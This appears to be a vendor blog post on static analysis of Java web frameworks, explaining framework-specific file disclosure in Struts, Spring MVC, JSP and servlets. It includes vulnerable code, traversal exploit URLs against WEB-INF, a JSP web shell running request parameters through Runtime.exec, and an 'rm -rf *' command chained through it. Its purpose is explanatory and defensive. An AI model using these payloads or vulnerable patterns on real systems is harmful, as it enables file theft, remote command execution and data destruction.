Application Frameworks and Static Analysis (Part Zwei)

Last week you learned about some of the more advanced features in SCA and how they are used to support and identify vulnerabilities in application frameworks.  We also discussed dataflow analysis.  But dataflow analysis is not sufficient to adequately cover application frameworks.  One has to look at the application framework with a discerning eye and identify vulnerabilities in the framework which are specific to the use of that framework.   This week we will shift gears and start looking at framework specific vulnerabilities. 

Framework Specific Vulnerabilities (Error Prone APIs)

Framework specific vulnerabilities relate to coding constructs or security holes which are created by well meaning developers (usually in the name of productivity enhancements) which allow a new and .  Struts 2 has the following:  over exposed request bound objects, inconsistent model on the value-stack, value-stack shadowing, file upload DOS, file disclosure, blended threats, default stack vulnerabilities, under inclusive exception handling, exposed *Aware interfaces, exposed methods (most privilege), framework specific race conditions, OGNL script injection, and file download vulnerabilities.

I obviously cannot go through all of the vulnerabilities identified above but let’s look at framework specific file disclosure.

Framework Specific File Disclosure

Framework specific file disclosure is a vulnerability where an attacker can download any file that is part of the application, remotely or execute files are the server remotely.  The files that are downloadable are configuration files (web.xml, applicationContext.xml, default.properties, etc.), jar files (any jar files in the WEB-INF/lib directory), and class files (any class under the /WEB-INF/classes directory).  It was originally discovered in a constructor argument to Spring MVC’s ModelAndView(…) object by Ryan Berg and Dinis Cruz (http://o2platform.files.wordpress.com/2011/07/ounce_springframework_vulnerabilities.pdf).  Ryan and Dinis had discovered this vulnerability in the Spring MVC framework but this is a serious vulnerability which exists in many MVC frameworks.  Here is what the vulnerability looks like across different frameworks:

//Struts 1.x given you are in an Action method …

String dest = request.getParameter(“url”);

return ActionForward(dest);

//Struts 2.x which is a bit more complicated because it includes the

//configuration file below

Public class ProcessOrderAction {

Private String dest;

//public getter and setters omitted

…

//Struts 2.x configuration file

<action name=”ProcessOrder_*” method=”{1}” class=”ProcessOrderAction” >

     <result name=”success”> ${dest} </result>

…

Or

<%-- in a Struts JSP page --%>

<s:include value=”${param.dest}” />

Or

<%-- in a JEE JSP page --%>

<jsp:include page=”${param.dest}” />

<jsp:forward page=”${param.dest}” />

Or

//Spring 3 annotated method

@RequestMapping (“/processOrder”)

public String processMyOrder(@RequestParam String dest, @RequestParam String id, @ModelAttribute Order order) {

…

return dest;

Or

//In a servlet

String dest = request.getParameter(“dest”);

RequestDispatcher rd = request.getRequestDispatcher(dest);

rd.forward(req, res);

I could go on and on but you get my drift. 

To exploit this vulnerability you can either pass in the full path to the file you want or utilize path parameters.

When the dest is directly being used you can pass in:

http://www.yourserver.com/webApp/logic?dest=/WEB-INF/web.xml

In other cases you may need to pass in

http://www.yourserver.com/webApp/logic?dest=forward:/WEB-INF/web.xml

and finally you may need to pass in

http://www.yourserver.com/webApp/logic?dest=../WEB-INF/web.xml;test=

this is due to the funny way Spring MVC resolves views.

If you return a string from a @RequestMapped method it will pass the string to an InternalResourceViewResolver.  A typical view resolver is configured as follows:

<bean id="viewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">

        <property name="prefix" value="/WEB-INF/jsp/"/>

        <property name="suffix" value=".jsp"/>

</bean>

The way this works is that the string returned from a request mapped method is pre-pended with the prefix and post-pended with the suffix.  So if “processOrder” is returned from:

//Spring 3 annotated method

@RequestMapping (“/processOrder”)

public String processMyOrder(@RequestParam String dest, @RequestParam String id, @ModelAttribute Order order) {

…

return “processOrder”;

…

Then the request is forwarded to “/WEB-INF/jsp/processOrder.jsp”.

To subvert the prefix and suffix the attacker can use path parameters.  Path parameters are parameters passed in after the “;” (semicolon) in a URL.

So the attacker can return “../web.xml;test=x” which will forward the request to:

/WEB-INF/jsp/../web.xml;test=x.jsp

This request returns the web.xml file in the browser and test=x.jsp is treated as a path parameter.

If you see the following and think you are safe then you would be wrong depending on the app server you are running:

return new ActionForward(“/WEB-INF/jsp/someFile.jsp?param=” +

req.getParameter(“input”) );

Normally an attacker would not be able to exploit this as a file disclosure but if the application was running on certain versions of tomcat an attacker could still successfully carry out the file disclosure attack even if only appending a request parameter value.

According to CVE-2008-2370, “Apache Tomcat 4.1.0 through 4.1.37, 5.5.0 through 5.5.26, and 6.0.0 through 6.0.16, when a RequestDispatcher is used, performs path normalization before removing the query string from the URI, which allows remote attackers to conduct directory traversal attacks and read arbitrary files via a .. (dot dot) in a request parameter.”

So the attacker could pass in “/../../web.xml” and the web.xml would be displayed as the URL would look like the following:

/WEB-INF/jsp/someFile.jsp?param=/../../web.xml

Which gets canonicalized down to:

/WEB-INF/web.xml

But you may say, “What is the big deal if I reveal some configuration files especially if there is no confidential data in them.”  There are two reasons why the file disclosure is especially bad:  1. The attacker can download your intellectual property including class files and jar files within your application.  2.  This attack can be combined with a file upload vulnerability (as a server side blended attack) to allow an attacker to execute arbitrary system level commands.

The book, Struts 2 Design and Programming: A Tutorial by Budi Kurniawan provide a file upload example code similar to the following:

public class FileUploadAction extends ActionSupport {

private File attachment;

private String attachmentFileName;

private String attachmentContentType;

public String upload() throws Exception {

     ServletContext sc = ServletActionContext.getServletContext();

     String uploadDir = sc.getRealPath(“/WEB-INF”);

     uploadedDir = uploadedDir + “/uploadedFiles”;

     File savedFile = new File(uploadedDir, attachmentFileName);

     Attachment.renameTo(savedFile);

}

I tried getting “..\” into the attachmentFileName without success because the “..” were getting filtered by the Apache Commons File Upload component.  So if we assume that you could NOT do a path manipulation attack, why is this code important to the file disclosure vulnerability?

…

What if an attacker could upload a JSP file with the following body:

// From body of commandProxy.jsp

<% 

Runtime rt = Runtime.getRuntime();

rt.exec(request.getParameter(“osCommand”));

%>

Then the attacker could use the file disclosure vulnerability in the following way.

http://www.yourserver.com/webApp/logic?dest=/WEB-INF/uploadedFiles/commandProxy.jsp?osCommand=rm%20–rf%20*

The attacker now has the ability to pown your server.

Conclusion

I have only scratched the surface as to researching and exploiting application frameworks. All of the vulnerabilities I described above can be found with the static analysis rules I described above.   I hope I highlighted why you can count on Fortify to cover application frameworks and gave you insight into how we work.  Some of the rule scripting techniques I described are currently only supported for internal use, however plans are in the works to expand the custom rules documentation to put the power of rules scripting into your hands.  Once you see what you can do with custom rules and scripting, prepare yourself to be amazed.